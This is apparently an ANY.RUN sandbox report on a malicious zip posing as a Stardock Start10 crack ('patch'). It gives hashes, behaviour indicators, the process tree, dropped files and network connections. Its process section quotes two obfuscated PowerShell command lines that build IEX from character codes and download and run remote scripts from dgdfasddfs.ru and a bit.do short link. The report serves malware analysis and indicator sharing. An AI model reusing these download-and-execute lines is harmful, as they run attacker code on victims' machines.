File name:

stardock.start10.1.55.x64-patch.exe.zip

Full analysis: https://app.any.run/tasks/a1686846-7e3f-4149-9010-e80dc3202027
Verdict: Malicious activity
Analysis date: March 15, 2024, 21:09:42
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

A480E3C8C2B6DEB352AA9C81DAE8F680

SHA1:

6A87336317F82C2D903106832791E2BDB3257655

SHA256:

6C6D44052A1F55EA0D15D854698624C6B94CBFE7FFDBCB559EBE65A5D69403EA

SSDEEP:

12288:gb/S+Q67bH3q+NF0iP622PuHSIRK1+7w/EPseQ+lsYnw:gbK+Q67j6+NaiPaPu9R97w/EPseQ+ls1

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Changes powershell execution policy (Unrestricted)

      • cmd.exe (PID: 1740)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Starts CMD.EXE for commands execution

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Reads security settings of Internet Explorer

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Reads the Internet Settings

      • cmd.exe (PID: 1740)
      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • powershell.exe (PID: 1888)
      • powershell.exe (PID: 240)

    • Executing commands from a ".bat" file

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1740)

    • Probably obfuscated PowerShell command line is found

      • cmd.exe (PID: 1740)

    • Probably download files using WebClient

      • cmd.exe (PID: 1740)

    • Unusual connection from system programs

      • powershell.exe (PID: 1888)

    • The executable file from the user directory is run by the CMD process

      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • The process executes Powershell scripts

      • cmd.exe (PID: 1740)

    • The Powershell connects to the Internet

      • powershell.exe (PID: 1888)

  • INFO

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 4008)

    • Manual execution by a user

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 2292)

    • Drops the executable file immediately after the start

      • WinRAR.exe (PID: 4008)

    • Checks supported languages

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Reads the computer name

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Create files in a temporary directory

      • stardock.start10.1.55.x64-patch.exe (PID: 2440)
      • stardock.start10.1.55.x64-patch.exe (PID: 3912)

    • Reads the machine GUID from the registry

      • stardock.start10.1.55.x64-patch.exe (PID: 3912)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 819
ZipBitFlag: 0x0001
ZipCompression: Unknown (99)
ZipModifyDate: 2019:06:13 09:30:14
ZipCRC: 0x00000000
ZipCompressedSize: 409734
ZipUncompressedSize: 413184
ZipFileName: stardock.start10.1.55.x64-patch.exe
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
49
Monitored processes
7
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe stardock.start10.1.55.x64-patch.exe no specs stardock.start10.1.55.x64-patch.exe cmd.exe no specs powershell.exe powershell.exe no specs stardock.start10.1.55.x64-patch.exe

Process information

PID
CMD
Path
Indicators
Parent process
240"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $ul=[string][char[]]@(0x49,0x45,0x78) -replace ' ','';sal s $ul;$tys=((New-Object Net.WebClient)).DownloadString('http://dgdfasddfs.ru/pps.ps1');s $tysC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
1740C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\88D2.tmp\start2.bat" C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe"C:\Windows\System32\cmd.exe—stardock.start10.1.55.x64-patch.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1888"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Windo 1 $qxe=[string][char[]]@(0x49,0x45,0x78) -replace ' ','';sal s $qxe;$ip=((New-Object Net.WebClient)).DownloadString('http://bit.do/eUUjY');s $ipC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2292"C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe" C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe
c:\windows\system32\ntdll.dll
2440"C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe" C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe
explorer.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.24483_none_2b200f664577e14b\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3912stardock.start10.1.55.x64-patch.exe C:\Users\admin\AppData\Local\Temp\88D2.tmp\stardock.start10.1.55.x64-patch.exe
cmd.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\88d2.tmp\stardock.start10.1.55.x64-patch.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
4008"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Exit code:
0
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
Total events
24 197
Read events
23 980
Write events
209
Delete events
8

Modification events

(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(4008) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\phacker.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe.zip
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(4008) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
4
Suspicious files
8
Text files
1
Unknown types
5

Dropped files

PID
Process
Filename
Type
1888powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:6675EDE59684F4A119D2E5DA282AFBE6
SHA256:5026C5EE8FA9ACB21718BF1FAD563C0A3FD5BC79327611FDF9C4ABD2647CE829
240powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF188a68.TMPbinary
MD5:0268C3470C936E6FBAC2945B9E1C2099
SHA256:DF2AF58E8879B48826D8A418ED3B02CC8D484BCFC231C5B7A11BD153ED3998E9
1888powershell.exeC:\Users\admin\AppData\Local\Temp\v3pqoed0.dj3.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
1888powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\U8GFZ2X1QRVNNEAMP4P1.tempbinary
MD5:22B5AD4B0C4699F459F6016BDB138C7D
SHA256:A58D69FCF66455CA26F89AA9F2575C0CCC0D88EF4294727BD9CD9E07D7A99FC5
4008WinRAR.exeC:\Users\admin\AppData\Local\Temp\stardock.start10.1.55.x64-patch.exe\stardock.start10.1.55.x64-patch.exeexecutable
MD5:1F39A275F002C574F4B3F43537A539F2
SHA256:07793D190DE1E3789F5B8317635E7F3211B7C747A739DFCC93470C3704B3F534
2440stardock.start10.1.55.x64-patch.exeC:\Users\admin\AppData\Local\Temp\88D2.tmp\a1.lnklnk
MD5:4A3B7B128E054BAEA55AC6957ABE74E0
SHA256:4033C36E1FA865375F0478D170ED6DB70824A6663A5B746369892073BDA377C7
2440stardock.start10.1.55.x64-patch.exeC:\Users\admin\AppData\Local\Temp\88D2.tmp\bu.lnklnk
MD5:54EC7A969AA9DFC8024887560FDD16EC
SHA256:93F493DCC985A155A0944AB95918F29EF58CCC5C2BED4C17DFBCC393382197E3
240powershell.exeC:\Users\admin\AppData\Local\Temp\04bmkmpj.rkd.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
3912stardock.start10.1.55.x64-patch.exeC:\Users\admin\AppData\Local\Temp\C5E3399ED9A072FE864748D49BA96094.dllexecutable
MD5:13249BC6AA781475CDE4A1C90F95EFD4
SHA256:3922A8C1B0F58B74FC3D89D7EEC3FE5C5B0E8BDA6B36491D2380431DD8E8284A
1888powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fd64ed60dd0dd08b.customDestinations-msbinary
MD5:22B5AD4B0C4699F459F6016BDB138C7D
SHA256:A58D69FCF66455CA26F89AA9F2575C0CCC0D88EF4294727BD9CD9E07D7A99FC5
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
5
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1888
powershell.exe
GET
—
23.21.31.78:80
http://bit.do/eUUjY
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
1888
powershell.exe
23.21.31.78:80
bit.do
AMAZON-AES
US
unknown

DNS requests

Domain
IP
Reputation
bit.do
  • 23.21.31.78
shared
dgdfasddfs.ru
  • —
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
stardock.start10.1.55.x64-patch.exe.zip